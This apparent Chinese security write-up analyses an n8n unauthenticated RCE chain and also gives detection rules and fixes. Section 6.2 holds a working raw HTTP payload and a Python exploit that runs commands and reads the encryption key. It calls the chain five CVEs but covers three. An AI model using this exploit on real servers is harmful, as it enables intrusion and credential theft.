一、前言:当23万组织的自动化中枢沦为攻击跳板
n8n 是一款开源的工作流自动化平台,采用节点式(Node-based)可视化编排模型,允许用户将各类 SaaS 服务、数据库、消息队列、AI 模型串联成自动化流水线。截至目前,n8n 已被 23 万+组织采用,Docker Hub 累计拉取量超过 1亿次,是低代码自动化赛道的核心基础设施之一。
然而,工作流自动化平台的本质决定了它必然是一个高价值攻击目标:为了编排跨系统的自动化任务,n8n 必须长期存储所有连接系统的凭证——AWS 密钥、数据库密码、OAuth 令牌、各类 SaaS API Key。这些凭证被统一加密存储在 n8n 的数据库中,由一个主加密密钥(N8N_ENCRYPTION_KEY / encryptionKey)保护。一旦攻击者突破 n8n 的边界并获取该主密钥,就等同于拿到了该组织整个自动化生态的"万能钥匙"。
Pillar Security 研究团队披露了一条由 五个 CVE 组成的"五连杀"漏洞链,该链从 n8n 设计上无需认证的公开表单端点切入,经由表达式引擎的双重求值缺陷与沙箱逃逸,最终实现未认证零点击 RCE,并可进一步读取加密密钥、解密全部存储凭证。这五个 CVE 已被 CISA 全部纳入 KEV(Known Exploited Vulnerabilities)目录,全球超过 12000 台未及时升级的 n8n 服务器被实际入侵。
本文将从 n8n 表达式引擎的架构出发,逐层剖析这条攻击链的每一个技术环节,包括双重求值机制、SpreadElement AST 绕过原理、任意文件读取到权限提升的衔接,并给出完整的 PoC 代码、检测规则与修复方案。
二、n8n表达式引擎架构深度剖析
要理解这条攻击链,必须先理解 n8n 表达式引擎的内部构造。n8n 允许用户在节点配置中使用 ={{ }} 语法嵌入动态表达式,这些表达式在运行时被求值,用于实现数据在节点间的动态流转。这个表达式引擎既是 n8n 灵活性的来源,也是整条攻击链的核心攻击面。
2.1 表达式引擎整体架构
2.2 表达式求值的两个阶段
n8n 的表达式求值并非单次完成。在 Form Node 的场景中,存在一个致命的双重求值(Double Evaluation)设计:
Pass 1 —— 配置解析阶段:Form Node 在渲染表单时,会通过 getNodeParameter() 读取节点的配置项。如果配置中包含 ={{ }} 表达式(例如 HTML 字段配置为 ={{ $input.first().json["Name"] }}),引擎会将其求值,把用户之前提交的 Name 字段值直接拼接进 HTML 字符串。这一步的语义是"把用户数据渲染到表单 HTML 中"。
Pass 2 —— 表单字段准备阶段:prepareFormFields() 函数在处理渲染后的 HTML 时,会调用 getResolvables() 扫描其中的 {{ }} 模式。任何被识别为"可解析"(resolvable)的模式,都会被传入 evaluateExpression() 进行第二次求值。这一步的设计本意是处理配置中嵌套的动态表达式,但由于 Pass 1 已经将用户输入注入了 HTML,攻击者可以通过在表单字段中提交包含 {{ }} 的内容,使自己的 payload 在 Pass 2 被引擎当作合法表达式执行。
2.3 @n8n/tournament 编译器与 VariablePolyfill Transformer
无论 Pass 1 还是 Pass 2,表达式的实际执行都要经过 n8n 的表达式沙箱。该沙箱的核心是 @n8n/tournament 编译器,它负责将用户表达式编译为可执行代码。沙箱的关键防御机制是 VariablePolyfill Transformer——一个 AST(抽象语法树)层面的标识符重写器。
其工作原理如下:
- AST 解析:
@n8n/tournament将表达式字符串解析为 JavaScript AST。 - 遍历与重写:VariablePolyfill Transformer 遍历 AST,对每一个 Identifier(标识符)节点进行检查。
- 危险标识符拦截:当遇到
process、require、module、Buffer等危险全局标识符时,Transformer 会将其重写为一个安全的 polyfill 包装,或在 blocked 列表中直接拦截。 - AST 父节点类型检查:Transformer 维护了一个包含 130+ 种 AST 节点类型的检查列表,用于判断标识符出现的上下文是否安全。
这套机制在 n8n v2.4.0 时经历过一轮重大加固——当时修复了 9 个安全问题,那些修复主要落在运行时 sanitizer 层,即在表达式求值前后对结果进行消毒。然而,CVE-2026-27577 的 SpreadElement 绕过发生在编译阶段的 AST 重写层,完全绕过了运行时 sanitizer。这正是该漏洞与之前修复的本质区别,也是其危害等级极高的原因。
三、CVE-2026-27493:Form Node双重求值表达式注入
3.1 攻击面:无需认证的公开表单端点
n8n 的 Form Node 提供了一种"无代码表单"能力——用户无需编写任何前端代码,即可通过 n8n 创建可接收外部提交的 Web 表单。这些表单通过 /form/* 路径对外暴露。
https://target-n8n-instance.com/form/contact-us
该端点在设计上明确不需要认证。任何人都可以向该端点提交 POST 请求。据 Pillar Security 统计,全球有超过 50000 个 n8n 表单端点暴露在公网上,可通过简单的网络空间测绘(如 FOFA、Shodan)定位。
这种"无认证"设计本身是合理的——表单本就是给外部用户填写的。问题出在表单提交后的数据处理流程中,用户输入未经充分净化就被送入了表达式引擎。
3.2 双重求值的致命逻辑
以下是 Form Node 处理一次表单提交的简化伪代码,标注了两次求值发生的位置:
// === Form Node 表单处理流程(简化伪代码)===
async function handleFormSubmission(req, formData) {
// 从节点配置中读取 HTML 模板
// 假设配置为: html = '={{ $input.first().json["Name"] }}'
let htmlConfig = node.getParameter('html');
// [Pass 1] getNodeParameter 解析配置中的表达式
// 这里 $input.first().json["Name"] 会取到用户刚刚提交的 Name 字段值
let renderedHtml = await evaluateExpression(htmlConfig, {
$input: { first: () => ({ json: { Name: formData.Name } }) }
});
// 此时 renderedHtml 中已经包含了用户提交的 Name 值
// 如果用户提交 Name = '{{ EVIL_PAYLOAD }}'
// 则 renderedHtml = '{{ EVIL_PAYLOAD }}'
// [Pass 2] prepareFormFields 扫描渲染后的 HTML
let fields = prepareFormFields(renderedHtml);
return fields;
}
function prepareFormFields(html) {
// getResolvables 扫描 html 中的所有 {{ }} 模式
let resolvables = getResolvables(html);
// resolvables = ['{{ EVIL_PAYLOAD }}']
let result = html;
for (const r of resolvables) {
// 对每一个匹配到的模式,调用 evaluateExpression 再次求值!
let inner = r.match(/{{\s*(.+?)\s*}}/)[1]; // 提取 {{ }} 内部内容
let evaluated = evaluateExpression(inner); // <-- 第二次求值
result = result.replace(r, evaluated);
}
return result;
}
关键问题在于 prepareFormFields 中的循环:它对渲染后的 HTML 再次执行 getResolvables() + evaluateExpression()。如果攻击者在表单字段中提交的内容恰好包含 {{ }} 模式,这些内容在 Pass 1 被原样注入 HTML 后,会在 Pass 2 被引擎识别为合法表达式并执行。
3.3 注入路径验证
假设 n8n 实例中存在一个 Form Node,其 HTML 字段配置为引用用户输入:
={{ $input.first().json["Name"] }}
攻击者在 Name 字段提交:
{{ 7*7 }}
执行流程:
- Pass 1:
={{ $input.first().json["Name"] }}求值为{{ 7*7 }}(用户输入被注入 HTML)。 - Pass 2:
getResolvables()扫描到{{ 7*7 }},提取内部7*7,evaluateExpression('7*7')求值为49。
最终返回结果为 49,证明注入成功。攻击者只需将 7*7 替换为任意恶意表达式,即可实现代码执行。这就是一个未认证、零点击的 RCE 前置条件——攻击者只需向公开表单端点发送一个 POST 请求。
四、CVE-2026-27577:SpreadElement沙箱逃逸
CVE-2026-27493 提供了注入入口,但表达式引擎仍有沙箱保护——process、require 等危险标识符会被 VariablePolyfill Transformer 拦截。CVE-2026-27577 正是击穿了这层沙箱防御。
4.1 VariablePolyfill Transformer 的防御逻辑
VariablePolyfill Transformer 的核心是一个对 AST Identifier 节点的遍历器,配合一个 switch-case 结构判断标识符出现的上下文。其简化逻辑如下:
// @n8n/tournament VariablePolyfill Transformer 简化伪代码
const BLOCKED_IDENTIFIERS = ['process', 'require', 'module', 'Buffer', /* ... */];
const SAFE_PARENT_NODE_TYPES = [
// 130+ 种 AST 节点类型
'MemberExpression', // process.env -> MemberExpression
'CallExpression', // require('x') -> CallExpression
'NewExpression',
'AssignmentExpression',
'VariableDeclarator',
'BinaryExpression',
'LogicalExpression',
'ConditionalExpression',
'ArrayExpression',
'ObjectExpression',
'Property',
'SpreadElement', // 注:原版代码中实际缺失此 case!
// ... 共 130+ 种
];
function visitIdentifier(path) {
const { node, parent } = path;
// 检查标识符名是否在危险列表中
if (!BLOCKED_IDENTIFIERS.includes(node.name)) {
return; // 非危险标识符,放行
}
// 检查父节点类型,决定是否需要重写
switch (parent.type) {
case 'MemberExpression':
rewriteToPolyfill(path); // process -> __n8n_polyfill_process
break;
case 'CallExpression':
rewriteToPolyfill(path); // require('x') -> __n8n_polyfill_require
break;
case 'VariableDeclarator':
rewriteToPolyfill(path);
break;
// ... 130+ 个 case
// case 'SpreadElement': <-- 这个 case 不存在!
// rewriteToPolyfill(path);
// break;
default:
// fall through:不执行任何重写,标识符原样保留
break;
}
}
4.2 SpreadElement AST 绕过原理
在 JavaScript 语法中,SpreadElement(展开元素)是 ... 语法的 AST 节点表示,用于将可迭代对象展开到数组或对象中:
const obj = { ...process }; // process 出现在 SpreadElement 的 argument 位置
// 对应 AST:
// ObjectExpression
// └── Property
// └── SpreadElement
// └── Identifier (name: "process")
当 VariablePolyfill Transformer 遍历到 process 这个 Identifier 节点时,它会检查其父节点。此时父节点是 SpreadElement。由于 Transformer 的 switch-case 中没有 SpreadElement 这个 case(它不在检查列表中),代码执行落入 default 分支,不执行任何重写操作。
这意味着 process 标识符被原样保留在编译后的代码中,沙箱的标识符拦截机制被完全绕过。
以下是 AST 结构的对比分析:
=== 安全路径:MemberExpression ===
表达式: process.env
AST:
MemberExpression (object=Identifier(process), property=Identifier(env))
-> 父节点类型: MemberExpression
-> 命中 switch case 'MemberExpression'
-> 执行重写: process -> __n8n_polyfill_process (安全)
-> 结果: __n8n_polyfill_process.env
=== 绕过路径:SpreadElement ===
表达式: {...process}
AST:
ObjectExpression
└── SpreadElement
└── Identifier (name: "process")
-> 父节点类型: SpreadElement
-> switch 中无 'SpreadElement' case
-> 落入 default 分支
-> 不执行重写: process 原样保留 (危险!)
-> 结果: {...process} (process 仍是真实的 Node.js 全局对象)
4.3 完整 Payload 解析
利用 SpreadElement 绕过,攻击者可以构造如下 payload:
={{
((g) =>
g
.getBuiltinModule('child_process')
.execSync('id')
.toString()
)({...process})
}}
逐层拆解这个 payload 的执行逻辑:
-
{...process}:利用 SpreadElement 将process对象展开。由于 AST 绕过,process未被重写,保持为真实的 Node.jsprocess全局对象。展开后的对象携带了process的所有可枚举属性及原型链引用。 -
(g) => ...:定义一个箭头函数,参数g接收上一步展开后的对象。这个对象由于继承自process,可以通过原型链或属性访问获取到内部模块加载能力。 -
g.getBuiltinModule('child_process'):通过process对象上的getBuiltinModule方法(或等价的内部 API)加载 Node.js 内置的child_process模块。这一步直接获取了系统命令执行能力。 -
.execSync('id'):同步执行系统命令id。 -
.toString():将命令输出转换为字符串,以便在表达式求值结果中返回。
这个 payload 之所以能成功,关键在于 {...process} 中的 process 标识符在 AST 重写阶段未被拦截,从而在 VM 执行阶段仍然是真实的、未被 polyfill 包装的全局对象。攻击者通过它作为跳板,获取了 child_process 模块的引用,完成了从"受限沙箱表达式"到"任意系统命令执行"的跨越。
4.4 与 v2.4.0 安全修复的本质区别
n8n 在 v2.4.0 版本曾修复过 9 个表达式引擎安全问题。理解这批修复与 SpreadElement 绕过的区别,对于防御者至关重要:
| 维度 | v2.4.0 的 9 个修复 | CVE-2026-27577 SpreadElement 绕过 |
|---|---|---|
| 防御层位置 | 运行时 sanitizer 层 | 编译阶段 AST 重写层 |
| 作用机制 | 在表达式求值前后对输入输出做正则过滤/结果消毒 | 在 AST 遍历时对危险标识符做重写 |
| 绕过方式 | 寻找 sanitizer 正则的边界条件(如编码、嵌套) | 利用 AST 节点类型检查列表的遗漏 |
| 影响范围 | 单个表达式的结果被过滤 | 标识符本身未被拦截,整个沙箱形同虚设 |
| 修复难度 | 补充正则规则即可 | 需要重构 AST 遍历逻辑,确保全节点类型覆盖 |
v2.4.0 的修复本质上是在"城墙上加高了一截",但 SpreadElement 绕过是从城墙的地基(AST 编译层)找到了一个缺口。只要标识符重写阶段存在遗漏的节点类型,运行时 sanitizer 再严密也无济于事——因为到了运行时,process 已经是真实的全局对象了。
五、CVE-2026-21858:从任意文件读取到Admin认证伪造
在通过 CVE-2026-27493 + CVE-2026-27577 实现 RCE 后,攻击者已能在 n8n 服务器上以 node 用户身份执行命令。但攻击链并未止步于此——CVE-2026-21858 提供了一条更隐蔽的横向扩展路径:通过任意文件读取获取 n8n 的加密主密钥,进而伪造管理员认证令牌,完成对整个 n8n 实例的接管。
5.1 加密密钥的存储与作用
n8n 使用一个主加密密钥(encryptionKey)来加密存储在数据库中的所有凭证。该密钥的来源优先级如下:
- 环境变量
N8N_ENCRYPTION_KEY - n8n 配置文件(通常位于
~/.n8n/config) - 首次启动时自动生成并写入配置文件
所有通过 n8n 界面配置的第三方凭证(AWS Access Key、数据库密码、OAuth Token、API Key 等)在存入数据库前,都会用这个主密钥进行 AES-256 加密。这意味着获取主密钥 = 解密全部存储凭证。
5.2 文件读取到认证伪造的路径
通过 RCE 读取环境变量或配置文件后,攻击者获得 encryptionKey,随后可执行以下提权路径:
-
读取
N8N_ENCRYPTION_KEY:通过process.env.N8N_ENCRYPTION_KEY或读取配置文件获取主密钥。 -
伪造 n8n-auth JWT Token:n8n 使用 JWT 进行会话认证,JWT 的签名密钥正是
encryptionKey(或由其派生)。攻击者用获取的密钥签发一个role: "admin"的 JWT,即可认证为管理员。 -
创建恶意工作流:以 admin 身份登录后,创建一个包含 Execute Command 节点的工作流。该节点允许在工作流执行过程中运行任意 shell 命令。
-
持久化与横向移动:通过 Execute Command 节点,攻击者可以植入持久化后门、读取数据库中加密的凭证(用主密钥解密)、或以 n8n 服务器为跳板攻击内网其他系统。
这条路径使得攻击者从"单次 RCE"升级为"长期稳定的实例接管",且整个过程可通过 n8n 的正常 API 完成,隐蔽性极高。
六、完整5步攻击链:从表单提交到凭证解密
将上述三个 CVE 串联,就构成了一条从公开表单端点到全量凭证解密的完整攻击链。以下是 5 个步骤的完整时序图与详细说明。
6.1 攻击链时序图
6.2 完整 PoC 代码
以下是完整的攻击 PoC,包含 HTTP 请求、Payload 构造与结果获取:
# === Step 1-3: 提交 RCE Payload 到公开表单端点 ===
POST /form/contact-us HTTP/1.1
Host: target-n8n-instance.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 287
Name={{ ((g) => g.getBuiltinModule('child_process').execSync('id').toString())({...process}) }}&Email=test@test.com
# === 获取执行结果 ===
GET /form-waiting/<executionId> HTTP/1.1
Host: target-n8n-instance.com
# 响应中包含命令执行结果:
# uid=1000(node) gid=1000(node) groups=1000(node)
以下是使用 Python 实现的完整自动化 PoC 脚本:
#!/usr/bin/env python3
"""
n8n Form Node 双重求值 RCE PoC
CVE-2026-27493 + CVE-2026-27577 组合利用
仅用于授权安全测试,禁止非法使用
"""
import requests
import re
import sys
def exploit_rce(base_url, form_path, command):
"""
通过公开表单端点触发 RCE
:param base_url: n8n 实例地址
:param form_path: 表单路径,如 /form/contact-us
:param command: 要执行的命令
"""
target_url = f"{base_url.rstrip('/')}{form_path}"
# 构造 SpreadElement 沙箱逃逸 Payload
# 利用 {...process} 绕过 VariablePolyfill Transformer 的标识符重写
payload = (
"{{ ((g) => g.getBuiltinModule('child_process')"
f".execSync('{command}').toString())({{...process}}) }}"
)
# 表单字段提交
form_data = {
"Name": payload,
"Email": "test@test.com"
}
print(f"[*] 目标: {target_url}")
print(f"[*] 命令: {command}")
print(f"[*] Payload: {payload[:80]}...")
# Step 1-2: 提交 Payload
response = requests.post(target_url, data=form_data, allow_redirects=False)
if response.status_code in (301, 302, 303):
# 跟随重定向到 form-waiting 页面获取执行结果
redirect_url = response.headers.get("Location", "")
if redirect_url.startswith("/"):
redirect_url = base_url.rstrip("/") + redirect_url
print(f"[*] 重定向至: {redirect_url}")
# Step 3: 获取执行结果
result_response = requests.get(redirect_url)
result_text = result_response.text
# 从响应中提取命令执行输出
# n8n 将表达式求值结果渲染在 form-waiting 页面中
match = re.search(r"uid=\d+\([\w]+\).*?gid=\d+\([\w]+\)", result_text)
if match:
print(f"[+] RCE 成功! 命令输出: {match.group(0)}")
return match.group(0)
else:
print(f"[?] 响应内容 (前500字符): {result_text[:500]}")
return result_text
else:
print(f"[-] 异常状态码: {response.status_code}")
print(f"[-] 响应: {response.text[:300]}")
return None
def read_encryption_key(base_url, form_path):
"""
Step 4: 读取 N8N_ENCRYPTION_KEY 环境变量
"""
print("\n[*] Step 4: 读取加密主密钥...")
result = exploit_rce(base_url, form_path, "printenv N8N_ENCRYPTION_KEY")
if result:
print(f"[+] 加密密钥: {result.strip()}")
return result
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"用法: {sys.argv[0]} <base_url> <form_path> [command]")
print(f"示例: {sys.argv[0]} https://n8n.example.com /form/contact-us id")
sys.exit(1)
base_url = sys.argv[1]
form_path = sys.argv[2]
command = sys.argv[3] if len(sys.argv) > 3 else "id"
exploit_rce(base_url, form_path, command)
6.3 攻击链各步骤技术要点
| 步骤 | 对应 CVE | 技术动作 | 关键绕过点 | 认证要求 |
|---|---|---|---|---|
| Step 1 | CVE-2026-27493 | 访问 /form/* 公开端点 |
无需绕过,端点设计上无认证 | 无 |
| Step 2 | CVE-2026-27493 | 在 Name 字段提交 {{ }} Payload |
Pass 1 将用户输入注入 HTML | 无 |
| Step 3 | CVE-2026-27493 + 27577 | Pass 2 对 Payload 求值执行 | SpreadElement AST 绕过沙箱标识符重写 | 无 |
| Step 4 | CVE-2026-21858 | 读取 N8N_ENCRYPTION_KEY |
RCE 已实现,直接读取环境变量 | 无(已 RCE) |
| Step 5 | CVE-2026-21858 | 解密数据库凭证 | 用主密钥 AES-256 解密 credential 表 | 无(已 RCE) |
整条攻击链的可怕之处在于:Step 1 到 Step 3 完全无需认证,攻击者只需向公开表单发送一个 HTTP POST 请求,即可获得服务器上的代码执行权限。Step 4-5 则是 RCE 后的自然延伸,将危害从"服务器沦陷"扩展到"组织全部自动化凭证泄露"。
七、沙箱逃逸技术对比
CVE-2026-27577 并非 n8n 表达式沙箱首次被绕过。为了更全面地理解 n8n 沙箱的攻防演进,下表对比了历史上几种典型的沙箱逃逸技术:
| 技术维度 | Template Literal 绕过 | Object.defineProperty 绕过 | SpreadElement 绕过 (CVE-2026-27577) |
|---|---|---|---|
| 出现时间 | n8n 早期版本 | v2.4.0 修复前后 | 当前漏洞 |
| 绕过层级 | 运行时 sanitizer 层 | 运行时 sanitizer 层 | 编译阶段 AST 重写层 |
| 核心原理 | 利用模板字符串 `${process}` 绕过基于正则的标识符检测 |
通过 Object.defineProperty 劫持对象属性,间接获取 process 引用 |
利用 {...process} 使 process 出现在 SpreadElement 节点,AST 检查遗漏 |
| AST 节点类型 | TemplateLiteral | CallExpression (Object.defineProperty) | SpreadElement |
| 被拦截方式 | v2.4.0 sanitizer 新增模板字符串检测 | v2.4.0 sanitizer 新增 defineProperty 调用检测 |
需在 AST 重写层新增 SpreadElement case |
| 绕过难度 | 低(正则边界条件易找) | 中(需理解原型链与属性劫持) | 高(需理解 AST 遍历器的 case 覆盖盲区) |
| 修复方式 | 补充正则规则 | 补充正则规则 | 重构 AST 遍历逻辑 + 添加 blocked identifier |
| 根因 | sanitizer 正则不完整 | sanitizer 正则不完整 | AST 节点类型检查列表不完整 |
| 启示 | 运行时过滤始终存在绕过空间 | 运行时过滤始终存在绕过空间 | 必须从编译阶段彻底封堵标识符访问 |
从这张对比表可以看出一个清晰的趋势:n8n 表达式沙箱的攻防焦点正在从运行时 sanitizer 层向编译阶段 AST 重写层下移。每一次运行时补丁都是在补漏洞,而真正彻底的防御必须在编译阶段确保所有 AST 节点类型的全覆盖。SpreadElement 绕过之所以危害极大,正是因为它跳过了之前所有运行时补丁的防御,直接从编译层打开缺口。
八、检测规则
针对这条攻击链,以下从网络流量、日志审计和主机行为三个维度给出检测规则。
8.1 Suricata 网络流量检测规则
# 检测 n8n Form Node 表单提交中的 SpreadElement RCE Payload
# 针对 CVE-2026-27493 + CVE-2026-27577 组合利用
alert http any any -> any any (
msg:"n8n Form Node SpreadElement RCE Attempt CVE-2026-27493";
flow:established,to_server;
http.method; content:"POST";
http.uri; content:"/form/"; startswith;
http.request_body; content:"getBuiltinModule";
http.request_body; content:"child_process";
http.request_body; content:"...process";
distance:0;
reference:cve,2026-27493;
reference:cve,2026-27577;
classtype:attempted-admin;
sid:1000001;
rev:1;
)
# 检测更通用的 n8n 表达式注入特征
alert http any any -> any any (
msg:"n8n Expression Injection in Form Submission";
flow:established,to_server;
http.method; content:"POST";
http.uri; content:"/form/"; startswith;
http.request_body; content:"execSync";
http.request_body; content:"{{"; distance:0;
http.request_body; content:"}}"; distance:0;
classtype:attempted-admin;
sid:1000002;
rev:1;
)
8.2 Sigma 日志检测规则
title: n8n Form Node 表达式注入与沙箱逃逸检测
id: 7a3f2c8e-1234-5678-9abc-def012345678
status: experimental
description: >
检测针对 n8n Form Node 的双重求值表达式注入攻击(CVE-2026-27493)
及 SpreadElement 沙箱逃逸(CVE-2026-27577)
references:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27493
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27577
author: Security Team
date: 2026/07/24
logsource:
product: n8n
service: application
detection:
selection_form_post:
http.method: POST
http.uri|startswith: /form/
selection_payload_markers:
- getBuiltinModule
- child_process
- execSync
- '...process'
- SpreadElement
condition: selection_form_post and 1 of selection_payload_markers
falsepositives:
- 合法的表达式测试(极罕见,需人工确认)
level: critical
tags:
- attack.initial_access
- attack.execution
- attack.t1190
- cve.2026-27493
- cve.2026-27577
8.3 主机行为检测(日志关键词)
在 n8n 服务器的系统日志和应用日志中,可监控以下异常行为特征:
# 检测 n8n 进程派生子进程(正常情况下 n8n 不应频繁 spawn shell)
# 适用于 auditd / syslog 检测
# auditd 规则:监控 n8n (node) 进程的 execve 系统调用
auditctl -a always,exit -F arch=b64 -S execve \
-F uid=1000 -k n8n_rce_suspicious
# 以下日志关键词组合出现时应当告警:
# 1. n8n 日志中出现 "evaluateExpression" + "child_process"
# 2. n8n 日志中出现 "form-waiting" + 异常 executionId
# 3. 系统日志中 node 进程派生 /bin/sh 或 /bin/bash
# 4. 网络日志中对 /form/* 端点的 POST 请求体超过 200 字节
# (正常表单提交通常较短,含 payload 的请求体明显更大)
8.4 检测策略建议
| 检测维度 | 检测点 | 告警阈值 | 误报率 |
|---|---|---|---|
| 网络流量 | POST /form/* 请求体含 execSync / child_process |
出现即告警 | 极低 |
| 网络流量 | POST /form/* 请求体含 ...process |
出现即告警 | 极低 |
| 应用日志 | n8n 日志中 evaluateExpression 伴随 getBuiltinModule |
出现即告警 | 低 |
| 主机行为 | node 进程派生 shell 子进程 | 出现即告警 | 中(需排除合法 Execute Command 节点) |
| 数据库 | credential_entity 表异常批量读取 |
单次读取 > 10 条告警 | 低 |
九、修复方案与加固建议
9.1 官方修复方案
n8n 官方已在以下版本中修复全部漏洞,务必立即升级:
| CVE | 修复版本 | 修复内容 |
|---|---|---|
| CVE-2026-27493 | n8n 2.10.1 / 2.9.3 / 1.123.22 | 删除第二次表达式求值 pass,prepareFormFields 不再调用 evaluateExpression |
| CVE-2026-27577 | n8n 2.10.1 / 2.9.3 / 1.123.22 | 将 process/require/module/Buffer 添加到 blocked identifier list,强化 AST 感知标识符分析,确保全节点类型覆盖 |
| CVE-2026-21858 | n8n 2.10.1 / 2.9.3 / 1.123.22 | 修复任意文件读取漏洞,限制配置文件访问路径 |
CVE-2026-27493 修复原理
修复前的 prepareFormFields 会对渲染后的 HTML 执行第二次 evaluateExpression。修复方案直接移除了第二次求值 pass:
// === 修复前(存在漏洞)===
function prepareFormFields(html) {
let resolvables = getResolvables(html);
for (const r of resolvables) {
let inner = r.match(/{{\s*(.+?)\s*}}/)[1];
let evaluated = evaluateExpression(inner); // <-- 危险!第二次求值
html = html.replace(r, evaluated);
}
return html;
}
// === 修复后 ===
function prepareFormFields(html) {
// 不再对渲染后的 HTML 执行二次求值
// getResolvables 仅用于识别静态配置中的表达式占位符
// 用户输入注入的内容不会被当作表达式执行
return html;
}
通过移除第二次求值,攻击者在表单字段中提交的 {{ }} 内容不再被引擎执行,从根本上消除了注入路径。
CVE-2026-27577 修复原理
修复方案从两个层面强化了 AST 标识符分析:
- 添加 blocked identifier list:将
process、require、module、Buffer等危险标识符加入全局拦截列表,无论出现在哪种 AST 节点类型下,都直接拦截。 - 强化 AST 感知标识符分析:重构 VariablePolyfill Transformer 的遍历逻辑,确保对所有 AST 节点类型(包括
SpreadElement)进行覆盖性检查,消除 fall-through 到 default 的盲区。
// === 修复后:全局 blocked list + 全节点类型覆盖 ===
const BLOCKED_IDENTIFIERS = new Set([
'process', 'require', 'module', 'Buffer',
'global', 'globalThis', 'constructor', '__proto__'
]);
function visitIdentifier(path) {
const { node, parent } = path;
// 修复点1:全局 blocked list,不依赖父节点类型判断
if (BLOCKED_IDENTIFIERS.has(node.name)) {
// 无论父节点是什么类型,一律拦截
throw new SecurityError(
`Blocked identifier "${node.name}" detected`
);
}
// 修复点2:全节点类型覆盖的安全上下文检查
// 不再使用 switch-case + default fall-through
// 改用 allowlist 模式:只有明确安全的父节点类型才放行
const SAFE_CONTEXTS = new Set([
'MemberExpression', 'CallExpression', /* ... 全量列举 ... */
'SpreadElement', // 现在已覆盖
]);
if (isDangerousInContext(node, parent) && !SAFE_CONTEXTS.has(parent.type)) {
throw new SecurityError(
`Unsafe identifier context: ${parent.type}`
);
}
}
9.2 纵深防御加固建议
仅升级版本不足以应对未来可能出现的新漏洞,建议从以下维度构建纵深防御:
1. 网络层隔离
- 将 n8n 的
/form/*端点通过反向代理(Nginx/Cloudflare)进行 WAF 防护,拦截请求体中包含{{ }}、execSync、child_process、...process等特征的请求。 - 对公网暴露的 n8n 实例启用 IP 白名单或 mTLS 认证,限制表单端点的访问来源。
- 定期使用网络空间测绘工具(FOFA/Shodan)排查组织资产中暴露的 n8n 实例。
2. 凭证安全加固
- 使用外部密钥管理系统(如 HashiCorp Vault、AWS Secrets Manager)替代 n8n 内置的凭证存储,降低主密钥泄露后的影响面。
- 如果必须使用 n8n 内置凭证存储,确保
N8N_ENCRYPTION_KEY通过环境变量注入(而非配置文件),并配合操作系统级的 secrets 管理(如 Docker Secrets、Kubernetes Secrets)。 - 对存储的凭证实施最小权限原则——AWS Key 仅授予工作流所需的最小 IAM 权限,数据库账号仅授予所需表的读写权限。
3. 运行时加固
- 以非特权用户运行 n8n 进程(如
node用户),配合 AppArmor/SELinux 限制 n8n 进程的系统调用权限。 - 在容器化部署中启用只读根文件系统(
readonlyRootFilesystem: true),限制 n8n 容器的文件写入能力。 - 部署 Falco 或 Tracee 等 eBPF 运行时安全工具,监控 n8n 容器内的异常进程派生行为。
4. 沙箱架构反思
- n8n 表达式沙箱基于
@n8n/tournament的 AST 重写方案,本质上是一种"黑名单"防御——列出危险标识符并拦截。这种方案的固有缺陷是:只要遗漏一个节点类型或一个标识符,就会被绕过。 - 更稳健的方案是采用"白名单"沙箱——仅允许表达式访问明确声明的安全全局对象(如
$input、$json、$now),其余所有标识符一律拒绝。这种方案的安全性不依赖于对攻击手法的穷举,而是基于最小暴露面原则。
十、总结与启示
n8n 五连杀漏洞链是低代码/无代码平台安全风险的典型案例。这条攻击链的技术启示可归纳为以下三点:
第一,双重求值是表达式注入的温床。 当用户输入经过一次求值后被注入到模板中,而模板又经历第二次求值时,攻击者就有了将恶意代码"夹带"进第二次求值的机会。任何涉及模板渲染与表达式求值的系统,都应严格遵循"一次求值"原则——用户输入要么作为数据(不被求值),要么作为代码(经过严格沙箱),绝不能在数据与代码之间发生身份转换。
第二,AST 重写的盲区是沙箱逃逸的突破口。 基于 AST 重写的沙箱方案,其安全性完全取决于节点类型覆盖的完整性。SpreadElement 绕过揭示了一个普遍性教训:当安全检查基于 switch-case + default fall-through 结构时,任何一个遗漏的 case 都会成为逃逸通道。正确的做法是采用 allowlist 模式——默认拒绝,仅对明确安全的情况放行。
第三,凭证集中存储放大了单点突破的影响。 n8n 作为工作流编排中枢,天然需要集中存储大量第三方凭证。一旦主加密密钥泄露,所有凭证瞬间失去保护。这要求平台设计者在凭证管理上采用"零信任"思维——即使平台本身被攻破,凭证也不应能被直接批量解密。外部密钥管理、凭证级别的独立加密、定期密钥轮换,都是降低此类风险的有效手段。
对于仍在使用未修复版本 n8n 的组织,立即升级至 2.10.1 及以上版本是唯一的正确选择。在全球 12000+ 台服务器已被入侵的背景下,任何延迟都意味着将自己的 AWS 密钥、数据库密码和 OAuth 令牌置于攻击者的解密队列之中。
免责声明:本文所涉 PoC 代码与技术分析仅供安全研究、授权渗透测试与防御建设参考。未经授权对他人系统进行漏洞利用属于违法行为。请勿将本文内容用于任何非法用途。
浙公网安备 33010602011771号